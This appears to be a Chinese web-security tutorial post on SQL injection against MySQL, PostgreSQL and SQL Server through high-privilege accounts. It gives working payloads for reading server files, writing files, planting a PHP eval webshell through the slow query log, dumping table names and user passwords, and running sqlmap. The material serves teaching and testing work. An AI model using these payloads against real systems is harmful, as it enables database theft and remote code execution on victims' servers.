25、WEB攻防——通用漏洞&SQL读写注入&MYSQL&MSSQL&PostgreSQL

文章目录



Access无高权限注入点------只能猜解,而且是暴力猜解;

MYSQL,PostgreSQL,MSSQL(SQL server)高权限注入点------可升级读写(文件)、(命令)执行等。

  • 所谓高权限注入点,指的就是在连接数据库时,所使用的用户(数据库连接用户)具有较高的权限。因为权限划分的缘故。
  • 如果存在高权限注入点,所做的不仅仅是查看数据库的内容,还可以是文件上传、命令执行。

Mysql-root高权限读写注入

  • 读文件(命令行)

    数据库可以调用自身的函数load_file('<file_path>')读取服务器上的文件。payload:select load_file('<file_path>')

  • 写文件(命令行)

    有关函数:outfile()dumpfile()。paylaod:select 'file_content' into outfile '<file_path>'

  • 读文件:union select 1,load_file('d:/w.txt'),3 --+

    在实战中,一般读取数据库配置文件、网站搭建性文件。具体读哪些文件,可以参考load_file 常用路径

    • 获取网站路径方式1:读取中间件的配置文件,例如phpstudy的vhosts.conf文件

    • 获取网站路径方式2:phpinfo()

    • 获取网站路径方式3:报错

  • 写文件:union select 1,'xxx',3 into outfile 'd:/www.txt' --+

会出现有高权限注入点,但是无法读取写入文件的情况------secure-file-priv参数
secure-file-priv参数有三种情况:

  • secure-file-priv=null,不允许读写;
  • secure-file-priv=/tmp/,读写只能发生在tmp目录下;
  • secure-file-priv= ,读写不做限制。

突破方法

  • 注入点需要支持SQL执行环境,若没有就需要借助phpmyadmin或能够直接连上那个对方数据库进行绕过。payload:

    mysql 复制代码
    set global slow_query_log=1; //启用慢日志
    set global slow_query_log_file='shell网站路径';  //保存慢日志的路径,便于用浏览器可以进行访问
    select '<?php @eval($_GET['cmd']);?>' or sleep(11);
  • 支持堆叠注入

PostgreSQL------dba高权限读写注入

php 复制代码
# 测列数
order by 4

# 测回显位
and 1=2 union select 'null',null,null //没报就没有,换下一个
and 1=2 union select null,'null',null //爆出null

# 获取信息
and 1=2 union select null,version(),null // 获取当前数据库版本
and 1=2 union select null,current_user,null //获取当前用户
and 1=2 union select null,current_database(),null //获取当前数据库名

# 获取所有数据库名
and 1=2 union select null,string_agg(datname,','),null from pg_database

# 获取表名
1. and 1=2 union select null,string_agg(tablename,','),null from pg_tables where schemaname='public'
2. and 1=2 union select null,string_agg(relname,','),null from pg_stat_user_tables

# 获取字段名
and 1=2 union select null,string_agg(column_name,','),null from information_schema.columns where table_name='reg_users'

# 读取数据
and 1=2 union select null,string_agg(name,','),string_agg(password,','),null from reg_users

-----
# 获取DBA用户(PostgreSQL中的root用户)
and 1=2 union select null,string_agg(username,','),null from pg_user where usesuper is true

参考postgresql注入

Mssql-sa高权限读写注入

python 复制代码
# 测字段数
order by 4

# 测回显位
and 1=2 union all select 'null',null,null //用单引号包裹null,若该位置存在回显位,则页面爆出null

# 获取信息
@@version //获取版本信息
db_name() //当前数据库名字
user,system_user,current_user,user_name //获取当前用户名,四种查询方式
@@SERVERNAME //获取服务器主机信息
and 1=2 union all select null,db_name(),null

# 查表名
and 1=2 union all select null,(select top 1 name from <数据库名>.dbo.sysobjects where xtype='u'),null
and 1=2 union all select null,(select top 1 name from <数据库名>.dbo.sysobjects where xtype='u' and name not in ('manage'(第一个表名))),null //查其他表

# 查字段名
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null

# 查字段内容
and 1=2 union all select null,username,null from manage

使用sqlmap时,一般直接用sqlmap发数据包。讲数据包保存在txt文件中,在参数后面加*告诉sqlmap,你要在这进行注入。

payload:python sqlmap.py -r 1.txt


sql使用手册

相关推荐
不好听6138 小时前
从一行 JSX 到屏幕像素:前端开发者必须懂的浏览器渲染管线
前端
恒拓高科WorkPlus8 小时前
企业级内网即时通讯建设模型:BeeWorks内网IM四层架构
前端
前端小李子9 小时前
前端环境变量裸奔?我用 EnvShield 给它穿了件防弹衣
前端
youtootech9 小时前
HarmonyOS《柚兔学伴》项目实战25-我的页面、Web 嵌入与项目总结
前端·华为·harmonyos
小林ixn9 小时前
从零到一理解 React 父子组件通信:手写一个 Todo 应用带你彻底搞懂单向数据流
前端·javascript·react.js
Database_Cool_10 小时前
OLTP 和 OLAP 区别详解:分析型数据库和事务型数据库怎么选(附阿里云 AnalyticDB MySQL 选型指南)
数据库·mysql·阿里云
Database_Cool_11 小时前
单机 MySQL 迁移到分布式数据库方便吗?阿里云 PolarDB-X 100% MySQL 协议兼容零改造平滑迁移
数据库·分布式·mysql
醇氧11 小时前
CountDownLatch / CyclicBarrier / Semaphore 面试高频问答清单
前端·面试·职场和发展
姜太小白11 小时前
【MySQL】 索引优化实战:解决 WHERE 等值 + IS NULL 查询,TEXT 字段报错 1167 的完整指南
数据库·mysql